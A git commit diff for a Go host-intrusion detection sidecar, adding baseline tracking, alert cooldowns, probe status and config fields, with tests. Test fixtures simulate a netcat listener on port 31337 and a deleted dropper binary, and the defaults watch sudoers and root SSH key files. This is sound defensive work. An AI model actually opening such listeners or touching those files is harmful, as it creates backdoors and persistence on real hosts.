feat(go): advance validation sidecar toward production

This commit is contained in:
Luna 2026-07-22 01:52:19 -07:00
parent 6a06eba255
commit f85c2e831a
No known key found for this signature in database
92 changed files with 8881 additions and 91 deletions

View file

@ -2,15 +2,17 @@
// Package agent owns the parallel Go sweep loop. It emits JSON-compatible
// records but does not write Python daemon state or replace the production
// service during Phase 1.
// service during migration.
package agent
import (
"context"
"fmt"
"os"
"sync"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/detectors"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
@ -25,36 +27,60 @@ type CaptureFunc func() (model.State, error)
// EmitFunc receives one enodia.event.v1-compatible record.
type EmitFunc func(map[string]any) error
// Agent is the Phase 1 sidecar sweep loop.
// Agent is the migration sidecar sweep loop.
type Agent struct {
Config config.Config
Capture CaptureFunc
Host func() (string, error)
Now func() time.Time
// Lifecycle is nil for deterministic fixtures. Live sidecars attach a
// baseline manager so startup grace and durable first-seen state match the
// Python oracle without contaminating parity inputs.
Lifecycle *baseline.Manager
cooldownMu sync.Mutex
cooldowns map[string]time.Time
probeMu sync.RWMutex
ebpf string
ebpfExec string
ebpfSyscall string
initializeMu sync.Mutex
initialized bool
initializeErr error
}
// New builds an agent with production clock and hostname providers.
func New(cfg config.Config, capture CaptureFunc) *Agent {
return &Agent{
Config: cfg,
Capture: capture,
Host: os.Hostname,
Now: time.Now,
Config: cfg,
Capture: capture,
Host: os.Hostname,
Now: time.Now,
ebpf: "unknown",
ebpfExec: "unknown",
ebpfSyscall: "unknown",
}
}
// Sweep captures state once and returns alert events followed by one status
// event. Retained snapshot fields remain empty until persistence is ported.
// event. The executable replaces the zero-value retention fields after its
// optional snapshot sink has durably processed the preceding alert records.
func (a *Agent) Sweep() ([]map[string]any, error) {
state, err := a.Capture()
if err != nil {
return nil, err
}
now := a.Now()
if a.Lifecycle != nil {
if err := a.Lifecycle.Prepare(&state, now); err != nil {
return nil, err
}
}
host, err := a.Host()
if err != nil {
return nil, err
}
timestamp := a.Now().Local().Format(time.RFC3339Nano)
timestamp := now.Local().Format(time.RFC3339Nano)
alerts := make([]model.Alert, 0)
// Preserve the relative order of Python detectors.REGISTRY. Snapshot and
@ -84,14 +110,32 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
if a.Config.Enabled("egress") {
alerts = append(alerts, detectors.Egress(state, a.Config)...)
}
events := make([]map[string]any, 0, len(alerts)+1)
for _, alert := range alerts {
record, err := schema.Build("alert", alert, host, timestamp)
if err != nil {
// Python's registry uses listener_baseline as one shared arming gate for
// all four baseline-diff detectors, including first_seen and persistence.
if state.ListenerBaseline != nil {
if a.Config.Enabled("first_seen") {
alerts = append(alerts, detectors.FirstSeen(state, a.Config)...)
}
if a.Config.Enabled("new_listener") {
alerts = append(alerts, detectors.NewListener(state, a.Config)...)
}
if a.Config.Enabled("persistence") {
alerts = append(alerts, detectors.Persistence(state, a.Config)...)
}
if a.Config.Enabled("new_suid") {
alerts = append(alerts, detectors.NewSUID(state, a.Config)...)
}
}
if a.Lifecycle != nil {
if err := a.Lifecycle.Commit(state, now); err != nil {
return nil, err
}
events = append(events, record)
}
events, err := a.alertEvents(alerts, now, host, timestamp)
if err != nil {
return nil, err
}
ebpfStatus, ebpfExecStatus, ebpfSyscallStatus := a.probeStatus()
status := schema.Status{
Schema: schema.StatusV1,
Version: Version,
@ -99,9 +143,9 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
TotalAlerts: 0,
Counts: map[string]int{},
LastAlert: nil,
EBPF: "unknown",
EBPFExec: "unknown",
EBPFSyscall: "unknown",
EBPF: ebpfStatus,
EBPFExec: ebpfExecStatus,
EBPFSyscall: ebpfSyscallStatus,
Host: host,
}
record, err := schema.Build("status", status, host, timestamp)
@ -111,12 +155,108 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
return append(events, record), nil
}
// SetExecProbeStatus updates both the compatibility eBPF field and the
// specific exec-probe field. It is safe to call from a source goroutine after
// an asynchronous reader failure.
func (a *Agent) SetExecProbeStatus(status string) {
a.probeMu.Lock()
defer a.probeMu.Unlock()
a.ebpf = status
a.ebpfExec = status
}
// SetSyscallProbeStatus updates the syscall-specific probe field. The legacy
// eBPF field continues to mirror exec status, matching the Python contract.
func (a *Agent) SetSyscallProbeStatus(status string) {
a.probeMu.Lock()
defer a.probeMu.Unlock()
a.ebpfSyscall = status
}
func (a *Agent) probeStatus() (string, string, string) {
a.probeMu.RLock()
defer a.probeMu.RUnlock()
return a.ebpf, a.ebpfExec, a.ebpfSyscall
}
// AlertEvents applies the shared cooldown gate and wraps asynchronous detector
// results in the same schema used by sweep alerts. Live kernel sources call
// this method instead of maintaining a second emission path.
func (a *Agent) AlertEvents(alerts []model.Alert) ([]map[string]any, error) {
now := a.Now()
host, err := a.Host()
if err != nil {
return nil, err
}
return a.alertEvents(alerts, now, host, now.Local().Format(time.RFC3339Nano))
}
func (a *Agent) alertEvents(alerts []model.Alert, now time.Time, host, timestamp string) ([]map[string]any, error) {
alerts = a.freshAlerts(alerts, now)
records := make([]map[string]any, 0, len(alerts))
for _, alert := range alerts {
record, err := schema.Build("alert", alert, host, timestamp)
if err != nil {
return nil, err
}
records = append(records, record)
}
return records, nil
}
// Initialize establishes live baselines before asynchronous event sources are
// started. It is idempotent so an executable can enforce startup ordering and
// Run can still safely own initialization for library callers.
func (a *Agent) Initialize() error {
a.initializeMu.Lock()
defer a.initializeMu.Unlock()
if a.initialized {
return a.initializeErr
}
a.initialized = true
if a.Lifecycle != nil {
if a.Capture == nil {
a.initializeErr = fmt.Errorf("capture function is required for baseline initialization")
return a.initializeErr
}
// Use the same injectable clock for lifecycle gates and event timestamps;
// otherwise fixed-clock tests could arm against wall time by accident.
a.Lifecycle.Now = a.Now
a.initializeErr = a.Lifecycle.Initialize(baseline.CaptureFunc(a.Capture))
}
return a.initializeErr
}
// freshAlerts mirrors Python's per-key cooldown gate. The mutex matters once
// live event sources join polling: asynchronous kernel alerts and sweep alerts
// must consume the same cooldown slots instead of racing into duplicates.
func (a *Agent) freshAlerts(alerts []model.Alert, now time.Time) []model.Alert {
a.cooldownMu.Lock()
defer a.cooldownMu.Unlock()
if a.cooldowns == nil {
a.cooldowns = make(map[string]time.Time)
}
fresh := make([]model.Alert, 0, len(alerts))
for _, alert := range alerts {
previous, seen := a.cooldowns[alert.Key]
if seen && now.Sub(previous) < a.Config.Cooldown {
continue
}
a.cooldowns[alert.Key] = now
fresh = append(fresh, alert)
}
return fresh
}
// Run emits one sweep immediately and then waits for each configured interval.
// once is used by parity checks and operator-visible smoke tests.
func (a *Agent) Run(ctx context.Context, once bool, emit EmitFunc) error {
if a.Capture == nil || emit == nil {
return fmt.Errorf("capture and emit functions are required")
}
if err := a.Initialize(); err != nil {
return err
}
for {
events, err := a.Sweep()
if err != nil {

View file

@ -7,8 +7,10 @@ import (
"testing"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/schema"
)
func intPointer(value int) *int { return &value }
@ -40,6 +42,66 @@ func TestRunOnceEmitsAlertAndStatusEnvelopes(t *testing.T) {
}
}
func TestRunAttachesLiveBaselineLifecycle(t *testing.T) {
cfg := config.Default()
cfg.LogDir = t.TempDir()
cfg.BaselineGrace = 0
calls := 0
capture := func() (model.State, error) {
calls++
port := "0.0.0.0:22"
comm := "sshd"
if calls > 1 {
port = "0.0.0.0:31337"
comm = "nc"
}
pid := 42
return model.State{Sockets: []model.Socket{{
State: "LISTEN", Local: port, Comm: comm, PID: &pid, Kind: "tcp",
}}}, nil
}
runner := New(cfg, capture)
runner.Lifecycle = baseline.New(cfg, func() []string { return []string{} })
runner.Host = func() (string, error) { return "host-a", nil }
runner.Now = func() time.Time {
return time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
}
var events []map[string]any
if err := runner.Run(context.Background(), true, func(event map[string]any) error {
events = append(events, event)
return nil
}); err != nil {
t.Fatal(err)
}
if calls != 2 || len(events) != 2 {
t.Fatalf("unexpected lifecycle result: calls=%d events=%#v", calls, events)
}
alert := events[0]["alert"].(model.Alert)
if alert.Signature != "new_listener" || alert.Key != "lis:31337/nc" {
t.Fatalf("unexpected alert: %#v", alert)
}
}
func TestInitializeIsIdempotent(t *testing.T) {
cfg := config.Default()
cfg.LogDir = t.TempDir()
calls := 0
runner := New(cfg, func() (model.State, error) {
calls++
return model.State{}, nil
})
runner.Lifecycle = baseline.New(cfg, func() []string { return nil })
if err := runner.Initialize(); err != nil {
t.Fatal(err)
}
if err := runner.Initialize(); err != nil {
t.Fatal(err)
}
if calls != 1 {
t.Fatalf("initial capture count=%d, want 1", calls)
}
}
func TestDisabledDetectorEmitsStatusOnly(t *testing.T) {
cfg := config.Default()
cfg.Detectors = map[string]bool{}
@ -55,6 +117,68 @@ func TestDisabledDetectorEmitsStatusOnly(t *testing.T) {
}
}
func TestSweepAppliesPerKeyCooldown(t *testing.T) {
cfg := config.Default()
cfg.Cooldown = 60 * time.Second
runner := New(cfg, func() (model.State, error) {
return model.State{Processes: []model.Process{{
PID: 42, Comm: "dropper", Exe: "/tmp/dropper (deleted)",
}}}, nil
})
now := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
runner.Now = func() time.Time { return now }
first, err := runner.Sweep()
if err != nil {
t.Fatal(err)
}
now = now.Add(30 * time.Second)
second, err := runner.Sweep()
if err != nil {
t.Fatal(err)
}
now = now.Add(31 * time.Second)
third, err := runner.Sweep()
if err != nil {
t.Fatal(err)
}
if len(first) != 2 || len(second) != 1 || len(third) != 2 {
t.Fatalf("cooldown output mismatch: %d %d %d", len(first), len(second), len(third))
}
}
func TestAsyncAlertsShareCooldownAndStatusReportsProbeState(t *testing.T) {
cfg := config.Default()
cfg.Cooldown = time.Minute
runner := New(cfg, func() (model.State, error) { return model.State{}, nil })
runner.Host = func() (string, error) { return "host-a", nil }
now := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
runner.Now = func() time.Time { return now }
runner.SetExecProbeStatus("enabled")
runner.SetSyscallProbeStatus("disabled (test)")
alert := model.Alert{SID: 100001, Key: "exec:100001:42"}
first, err := runner.AlertEvents([]model.Alert{alert})
if err != nil {
t.Fatal(err)
}
now = now.Add(30 * time.Second)
second, err := runner.AlertEvents([]model.Alert{alert})
if err != nil {
t.Fatal(err)
}
sweep, err := runner.Sweep()
if err != nil {
t.Fatal(err)
}
status := sweep[0]["status"].(schema.Status)
if len(first) != 1 || len(second) != 0 {
t.Fatalf("async cooldown mismatch: first=%d second=%d", len(first), len(second))
}
if status.EBPF != "enabled" || status.EBPFExec != "enabled" || status.EBPFSyscall != "disabled (test)" {
t.Fatalf("unexpected probe status: %#v", status)
}
}
func TestSweepPreservesPythonDetectorOrder(t *testing.T) {
agent := New(config.Default(), func() (model.State, error) {
return model.State{

View file

@ -0,0 +1,298 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package baseline owns the state that makes baseline-diff detectors useful
// outside the deterministic parity fixture. It deliberately stops short of
// forensic alert snapshots; bounded envelope retention belongs to eventlog.
package baseline
import (
"encoding/json"
"fmt"
"io/fs"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
const firstSeenSchema = "enodia.first_seen.v1"
// CaptureFunc and ScanSUIDFunc keep host collection injectable. Unit tests can
// exercise the full lifecycle without reading the real /proc or filesystem.
type CaptureFunc func() (model.State, error)
type ScanSUIDFunc func() []string
type firstSeenStore struct {
Schema string `json:"schema"`
Initialized bool `json:"initialized"`
PublicDestinations map[string][]string `json:"public_destinations"`
ListenerPorts map[string][]string `json:"listener_ports"`
}
// Manager decorates each captured State with the previous-sweep and durable
// baseline views expected by Python's four baseline detectors.
type Manager struct {
Config config.Config
Now func() time.Time
ScanSUID ScanSUIDFunc
mu sync.Mutex
initialized bool
started time.Time
lastPersistScan time.Time
lastSUIDScan time.Time
lastSUIDRefresh time.Time
suidScanRunning bool
listenerBaseline []string
suidBaseline []string
suidCurrent []string
firstSeen firstSeenStore
}
func New(cfg config.Config, scanSUID ScanSUIDFunc) *Manager {
return &Manager{Config: cfg, Now: time.Now, ScanSUID: scanSUID}
}
// Initialize snapshots startup listeners and privileged files. As in Python,
// startup state becomes the baseline; stored listener/SUID files are operator
// artifacts, not inputs reloaded on daemon restart.
func (m *Manager) Initialize(capture CaptureFunc) error {
if capture == nil {
return fmt.Errorf("baseline capture is required")
}
started := m.Now()
state, err := capture()
if err != nil {
return err
}
listeners := listenerKeys(state.Sockets)
var suid []string
if m.ScanSUID != nil {
suid = sortedUnique(m.ScanSUID())
}
if err := os.MkdirAll(m.Config.LogDir, 0o750); err != nil {
return err
}
if err := writeJSONAtomic(filepath.Join(m.Config.LogDir, "listener-baseline.json"), listeners); err != nil {
return err
}
if err := writeJSONAtomic(filepath.Join(m.Config.LogDir, "suid-baseline.json"), suid); err != nil {
return err
}
firstSeen := loadFirstSeen(filepath.Join(m.Config.LogDir, "first-seen.json"))
m.mu.Lock()
defer m.mu.Unlock()
m.initialized = true
m.started = started
m.lastPersistScan = started
m.lastSUIDRefresh = started
m.listenerBaseline = listeners
m.suidBaseline = suid
m.suidCurrent = nil
m.firstSeen = firstSeen
return nil
}
// Prepare injects baseline state immediately before detectors run. During the
// grace window every baseline detector stays inert, matching the registry-wide
// listener_baseline gate in Python.
func (m *Manager) Prepare(state *model.State, now time.Time) error {
if state == nil {
return fmt.Errorf("baseline state is required")
}
m.mu.Lock()
if !m.initialized {
m.mu.Unlock()
return fmt.Errorf("baseline manager is not initialized")
}
armed := now.Sub(m.started) >= m.Config.BaselineGrace
if !armed {
state.ListenerBaseline = nil
state.SUIDBaseline = nil
state.SUIDBinaries = nil
state.PersistSince = nil
state.PersistenceFiles = nil
state.FirstSeenPublicDestinations = nil
state.FirstSeenListenerPorts = nil
m.mu.Unlock()
return nil
}
state.ListenerBaseline = append([]string(nil), m.listenerBaseline...)
state.SUIDBaseline = append([]string(nil), m.suidBaseline...)
if m.suidCurrent != nil {
state.SUIDBinaries = append([]string(nil), m.suidCurrent...)
}
since := float64(m.lastPersistScan.UnixNano()) / float64(time.Second)
state.PersistSince = &since
state.FirstSeenInitialized = m.firstSeen.Initialized
state.FirstSeenPublicDestinations = cloneStringMap(m.firstSeen.PublicDestinations)
state.FirstSeenListenerPorts = cloneStringMap(m.firstSeen.ListenerPorts)
m.maybeStartSUIDScanLocked(now)
m.mu.Unlock()
// Filesystem walking can be slower than copying the small durable stores,
// but it is bounded to explicitly configured persistence roots and remains
// fail-open per entry.
state.PersistenceFiles = collectPersistenceFiles(m.Config.WatchPersistence)
return nil
}
// Commit advances the previous-sweep timestamp only after detection and saves
// first-seen additions atomically. This ordering prevents changes observed in
// the current sweep from being skipped by the next one.
func (m *Manager) Commit(state model.State, now time.Time) error {
m.mu.Lock()
defer m.mu.Unlock()
if !m.initialized {
return fmt.Errorf("baseline manager is not initialized")
}
m.lastPersistScan = now
if now.Sub(m.started) < m.Config.BaselineGrace || !m.Config.Enabled("first_seen") {
return nil
}
m.firstSeen = firstSeenStore{
Schema: firstSeenSchema,
Initialized: true,
PublicDestinations: cloneStringMap(state.FirstSeenPublicDestinations),
ListenerPorts: cloneStringMap(state.FirstSeenListenerPorts),
}
return writeJSONAtomic(filepath.Join(m.Config.LogDir, "first-seen.json"), m.firstSeen)
}
func (m *Manager) maybeStartSUIDScanLocked(now time.Time) {
if m.ScanSUID == nil || m.suidScanRunning ||
(!m.lastSUIDScan.IsZero() && now.Sub(m.lastSUIDScan) < m.Config.SUIDScanInterval) {
return
}
m.lastSUIDScan = now
m.suidScanRunning = true
go func() {
result := sortedUnique(m.ScanSUID())
finished := m.Now()
m.mu.Lock()
defer m.mu.Unlock()
m.suidCurrent = result
m.suidScanRunning = false
if finished.Sub(m.lastSUIDRefresh) < m.Config.SUIDRefresh {
return
}
// Periodic folding matches Python: a legitimately installed privileged
// binary eventually becomes baseline instead of alerting forever.
m.suidBaseline = append([]string(nil), result...)
m.lastSUIDRefresh = finished
_ = writeJSONAtomic(filepath.Join(m.Config.LogDir, "suid-baseline.json"), result)
}()
}
func listenerKeys(sockets []model.Socket) []string {
keys := make([]string, 0)
for _, socket := range sockets {
if socket.State != "LISTEN" {
continue
}
port := socket.Local
if index := strings.LastIndex(socket.Local, ":"); index >= 0 {
port = socket.Local[index+1:]
}
comm := socket.Comm
if comm == "" {
comm = "?"
}
keys = append(keys, port+"/"+comm)
}
return sortedUnique(keys)
}
func collectPersistenceFiles(roots []string) map[string]float64 {
result := make(map[string]float64)
for _, root := range roots {
info, err := os.Lstat(root)
if err != nil {
continue
}
if !info.IsDir() {
result[root] = float64(info.ModTime().UnixNano()) / float64(time.Second)
continue
}
_ = filepath.WalkDir(root, func(path string, entry fs.DirEntry, err error) error {
if err != nil {
return nil
}
if entry.IsDir() {
return nil
}
info, err := os.Lstat(path)
if err == nil {
result[path] = float64(info.ModTime().UnixNano()) / float64(time.Second)
}
return nil
})
}
return result
}
func loadFirstSeen(path string) firstSeenStore {
store := firstSeenStore{
Schema: firstSeenSchema, PublicDestinations: map[string][]string{},
ListenerPorts: map[string][]string{},
}
raw, err := os.ReadFile(path)
if err != nil || json.Unmarshal(raw, &store) != nil {
return firstSeenStore{
Schema: firstSeenSchema, PublicDestinations: map[string][]string{},
ListenerPorts: map[string][]string{},
}
}
store.Schema = firstSeenSchema
if store.PublicDestinations == nil {
store.PublicDestinations = map[string][]string{}
}
if store.ListenerPorts == nil {
store.ListenerPorts = map[string][]string{}
}
return store
}
func writeJSONAtomic(path string, value any) error {
raw, err := json.MarshalIndent(value, "", " ")
if err != nil {
return err
}
raw = append(raw, '\n')
temporary := path + ".tmp"
if err := os.WriteFile(temporary, raw, 0o640); err != nil {
return err
}
if err := os.Rename(temporary, path); err != nil {
return err
}
return os.Chmod(path, 0o640)
}
func cloneStringMap(source map[string][]string) map[string][]string {
result := make(map[string][]string, len(source))
for key, values := range source {
result[key] = append([]string(nil), values...)
}
return result
}
func sortedUnique(values []string) []string {
seen := make(map[string]bool, len(values))
result := make([]string, 0, len(values))
for _, value := range values {
if !seen[value] {
seen[value] = true
result = append(result, value)
}
}
sort.Strings(result)
return result
}

View file

@ -0,0 +1,97 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package baseline
import (
"encoding/json"
"os"
"path/filepath"
"testing"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestManagerGraceAndDurableFirstSeenLifecycle(t *testing.T) {
directory := t.TempDir()
watched := filepath.Join(directory, "cron-entry")
if err := os.WriteFile(watched, []byte("job"), 0o600); err != nil {
t.Fatal(err)
}
start := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
now := start
cfg := config.Default()
cfg.LogDir = directory
cfg.BaselineGrace = 10 * time.Second
cfg.WatchPersistence = []string{watched}
manager := New(cfg, func() []string { return []string{"/usr/bin/sudo"} })
manager.Now = func() time.Time { return now }
p := 42
capture := func() (model.State, error) {
return model.State{Sockets: []model.Socket{{
State: "LISTEN", Local: "[::]:22", Comm: "sshd", PID: &p,
}}}, nil
}
if err := manager.Initialize(capture); err != nil {
t.Fatal(err)
}
now = start.Add(5 * time.Second)
state := model.State{}
if err := manager.Prepare(&state, now); err != nil {
t.Fatal(err)
}
if state.ListenerBaseline != nil || state.PersistSince != nil {
t.Fatalf("baseline detectors armed during grace: %#v", state)
}
if err := manager.Commit(state, now); err != nil {
t.Fatal(err)
}
now = start.Add(11 * time.Second)
state = model.State{}
if err := manager.Prepare(&state, now); err != nil {
t.Fatal(err)
}
if len(state.ListenerBaseline) != 1 || state.ListenerBaseline[0] != "22/sshd" {
t.Fatalf("unexpected listener baseline: %#v", state.ListenerBaseline)
}
if state.PersistSince == nil || *state.PersistSince != float64(start.Add(5*time.Second).Unix()) {
t.Fatalf("unexpected persistence boundary: %#v", state.PersistSince)
}
state.FirstSeenPublicDestinations["bash"] = []string{"8.8.8.8:443"}
state.FirstSeenListenerPorts["nc"] = []string{"31337"}
if err := manager.Commit(state, now); err != nil {
t.Fatal(err)
}
raw, err := os.ReadFile(filepath.Join(directory, "first-seen.json"))
if err != nil {
t.Fatal(err)
}
var stored firstSeenStore
if err := json.Unmarshal(raw, &stored); err != nil {
t.Fatal(err)
}
if !stored.Initialized || stored.PublicDestinations["bash"][0] != "8.8.8.8:443" {
t.Fatalf("unexpected first-seen store: %#v", stored)
}
for _, name := range []string{"listener-baseline.json", "suid-baseline.json"} {
if _, err := os.Stat(filepath.Join(directory, name)); err != nil {
t.Fatalf("missing %s: %v", name, err)
}
}
}
func TestLoadFirstSeenFailsOpenOnCorruptStore(t *testing.T) {
path := filepath.Join(t.TempDir(), "first-seen.json")
if err := os.WriteFile(path, []byte("{"), 0o600); err != nil {
t.Fatal(err)
}
store := loadFirstSeen(path)
if store.Initialized || store.Schema != firstSeenSchema ||
store.PublicDestinations == nil || store.ListenerPorts == nil {
t.Fatalf("unexpected fallback: %#v", store)
}
}

View file

@ -53,18 +53,33 @@ var defaultMemoryObfuscationAllowComms = []string{
// Config mirrors the Phase 1 settings consumed by the Go sweep loop. More
// fields are added as their detectors are ported.
type Config struct {
SampleInterval time.Duration
HeartbeatMaxAge int
Detectors map[string]bool
InputSnooperAllowComms map[string]bool
CredentialAccessAllowComms map[string]bool
CredentialAccessExtraPaths []string
Interpreters map[string]bool
EgressAllowCIDRs []string
StealthNetworkAllowComms map[string]bool
StealthNetworkAllowKinds map[string]bool
MemoryObfuscationAllowComms map[string]bool
MemoryObfuscationAllowPaths []string
SampleInterval time.Duration
Cooldown time.Duration
BaselineGrace time.Duration
SUIDRefresh time.Duration
SUIDScanInterval time.Duration
HeartbeatMaxAge int
MaxSnapshots int
MaxSnapshotAgeDays int
Detectors map[string]bool
InputSnooperAllowComms map[string]bool
CredentialAccessAllowComms map[string]bool
CredentialAccessExtraPaths []string
Interpreters map[string]bool
EgressAllowCIDRs []string
ListenerAllowPorts map[string]bool
ListenerAllowComms map[string]bool
SuppressPackageOwnedListeners bool
FirstSeenEnabled bool
SUIDHotDirs []string
SUIDScanExtraDirs []string
WatchPersistence []string
StealthNetworkAllowComms map[string]bool
StealthNetworkAllowKinds map[string]bool
MemoryObfuscationAllowComms map[string]bool
MemoryObfuscationAllowPaths []string
ExecRulesFile string
LogDir string
}
// Default returns Python-compatible defaults for the fields currently used.
@ -74,23 +89,46 @@ func Default() Config {
detectors[name] = true
}
return Config{
SampleInterval: 4 * time.Second,
HeartbeatMaxAge: 120,
Detectors: detectors,
InputSnooperAllowComms: stringSet(defaultInputSnooperAllowComms),
CredentialAccessAllowComms: stringSet(defaultCredentialAccessAllowComms),
CredentialAccessExtraPaths: []string{},
Interpreters: stringSet(defaultInterpreters),
EgressAllowCIDRs: []string{},
SampleInterval: 4 * time.Second,
Cooldown: 60 * time.Second,
BaselineGrace: 10 * time.Second,
SUIDRefresh: time.Hour,
SUIDScanInterval: time.Minute,
HeartbeatMaxAge: 120,
MaxSnapshots: 300,
MaxSnapshotAgeDays: 60,
Detectors: detectors,
InputSnooperAllowComms: stringSet(defaultInputSnooperAllowComms),
CredentialAccessAllowComms: stringSet(defaultCredentialAccessAllowComms),
CredentialAccessExtraPaths: []string{},
Interpreters: stringSet(defaultInterpreters),
EgressAllowCIDRs: []string{},
ListenerAllowPorts: map[string]bool{},
ListenerAllowComms: map[string]bool{},
SuppressPackageOwnedListeners: false,
FirstSeenEnabled: true,
SUIDHotDirs: []string{"/tmp", "/dev/shm", "/var/tmp", "/home", "/run/user"},
SUIDScanExtraDirs: []string{"/tmp", "/dev/shm", "/var/tmp", "/run/user"},
WatchPersistence: []string{
"/etc/cron.d", "/etc/crontab", "/etc/cron.daily", "/etc/cron.hourly",
"/etc/cron.weekly", "/var/spool/cron", "/etc/systemd/system",
"/etc/ld.so.preload", "/etc/passwd", "/etc/sudoers", "/etc/sudoers.d",
"/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile",
},
StealthNetworkAllowComms: stringSet(defaultStealthNetworkAllowComms),
StealthNetworkAllowKinds: map[string]bool{},
MemoryObfuscationAllowComms: stringSet(defaultMemoryObfuscationAllowComms),
MemoryObfuscationAllowPaths: []string{},
ExecRulesFile: "",
LogDir: envOrDefault("ENODIA_LOG_DIR", "/var/log/enodia-sentinel"),
}
}
// Enabled reports whether a detector is enabled by configuration.
func (c Config) Enabled(name string) bool {
if name == "first_seen" && !c.FirstSeenEnabled {
return false
}
return c.Detectors[name]
}
@ -124,12 +162,48 @@ func Load(path string) (Config, error) {
return Config{}, fmt.Errorf("sample_interval must be positive: %q", value)
}
cfg.SampleInterval = time.Duration(seconds * float64(time.Second))
case "cooldown":
duration, err := nonNegativeSeconds(value)
if err != nil {
return Config{}, fmt.Errorf("cooldown: %w", err)
}
cfg.Cooldown = duration
case "baseline_grace":
duration, err := nonNegativeSeconds(value)
if err != nil {
return Config{}, fmt.Errorf("baseline_grace: %w", err)
}
cfg.BaselineGrace = duration
case "suid_refresh":
duration, err := positiveSeconds(value)
if err != nil {
return Config{}, fmt.Errorf("suid_refresh: %w", err)
}
cfg.SUIDRefresh = duration
case "suid_scan_interval":
duration, err := positiveSeconds(value)
if err != nil {
return Config{}, fmt.Errorf("suid_scan_interval: %w", err)
}
cfg.SUIDScanInterval = duration
case "heartbeat_max_age":
age, err := strconv.Atoi(value)
if err != nil || age < 0 {
return Config{}, fmt.Errorf("heartbeat_max_age must be non-negative: %q", value)
}
cfg.HeartbeatMaxAge = age
case "max_snapshots":
count, err := strconv.Atoi(value)
if err != nil || count < 0 {
return Config{}, fmt.Errorf("max_snapshots must be non-negative: %q", value)
}
cfg.MaxSnapshots = count
case "max_snapshot_age_days":
days, err := strconv.Atoi(value)
if err != nil || days < 0 {
return Config{}, fmt.Errorf("max_snapshot_age_days must be non-negative: %q", value)
}
cfg.MaxSnapshotAgeDays = days
case "detectors":
names, err := stringArray(value)
if err != nil {
@ -171,6 +245,48 @@ func Load(path string) (Config, error) {
return Config{}, fmt.Errorf("egress_allow_cidrs: %w", err)
}
cfg.EgressAllowCIDRs = cidrs
case "listener_allow_ports":
ports, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("listener_allow_ports: %w", err)
}
cfg.ListenerAllowPorts = stringSet(ports)
case "listener_allow_comms":
comms, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("listener_allow_comms: %w", err)
}
cfg.ListenerAllowComms = stringSet(comms)
case "suppress_package_owned_listeners":
enabled, err := boolean(value)
if err != nil {
return Config{}, fmt.Errorf("suppress_package_owned_listeners: %w", err)
}
cfg.SuppressPackageOwnedListeners = enabled
case "first_seen_enabled":
enabled, err := boolean(value)
if err != nil {
return Config{}, fmt.Errorf("first_seen_enabled: %w", err)
}
cfg.FirstSeenEnabled = enabled
case "suid_hot_dirs":
dirs, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("suid_hot_dirs: %w", err)
}
cfg.SUIDHotDirs = dirs
case "suid_scan_extra_dirs":
dirs, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("suid_scan_extra_dirs: %w", err)
}
cfg.SUIDScanExtraDirs = dirs
case "watch_persistence":
paths, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("watch_persistence: %w", err)
}
cfg.WatchPersistence = paths
case "stealth_network_allow_comms":
names, err := stringArray(value)
if err != nil {
@ -195,11 +311,57 @@ func Load(path string) (Config, error) {
return Config{}, fmt.Errorf("memory_obfuscation_allow_paths: %w", err)
}
cfg.MemoryObfuscationAllowPaths = paths
case "exec_rules_file":
path, err := strconv.Unquote(value)
if err != nil {
return Config{}, fmt.Errorf("exec_rules_file must be a string: %q", value)
}
cfg.ExecRulesFile = path
case "log_dir":
path, err := strconv.Unquote(value)
if err != nil || path == "" {
return Config{}, fmt.Errorf("log_dir must be a non-empty string: %q", value)
}
cfg.LogDir = path
}
}
return cfg, nil
}
func envOrDefault(name, fallback string) string {
if value := os.Getenv(name); value != "" {
return value
}
return fallback
}
func positiveSeconds(value string) (time.Duration, error) {
seconds, err := strconv.ParseFloat(value, 64)
if err != nil || seconds <= 0 {
return 0, fmt.Errorf("must be positive: %q", value)
}
return time.Duration(seconds * float64(time.Second)), nil
}
func nonNegativeSeconds(value string) (time.Duration, error) {
seconds, err := strconv.ParseFloat(value, 64)
if err != nil || seconds < 0 {
return 0, fmt.Errorf("must be non-negative: %q", value)
}
return time.Duration(seconds * float64(time.Second)), nil
}
func boolean(value string) (bool, error) {
switch value {
case "true":
return true, nil
case "false":
return false, nil
default:
return false, fmt.Errorf("must be true or false: %q", value)
}
}
func stringSet(values []string) map[string]bool {
result := make(map[string]bool, len(values))
for _, value := range values {

View file

@ -11,7 +11,11 @@ import (
func TestDefaultsMatchPython(t *testing.T) {
cfg := Default()
if cfg.SampleInterval != 4*time.Second || cfg.HeartbeatMaxAge != 120 {
if cfg.SampleInterval != 4*time.Second || cfg.Cooldown != 60*time.Second ||
cfg.BaselineGrace != 10*time.Second ||
cfg.SUIDRefresh != time.Hour || cfg.SUIDScanInterval != time.Minute ||
cfg.HeartbeatMaxAge != 120 || cfg.MaxSnapshots != 300 ||
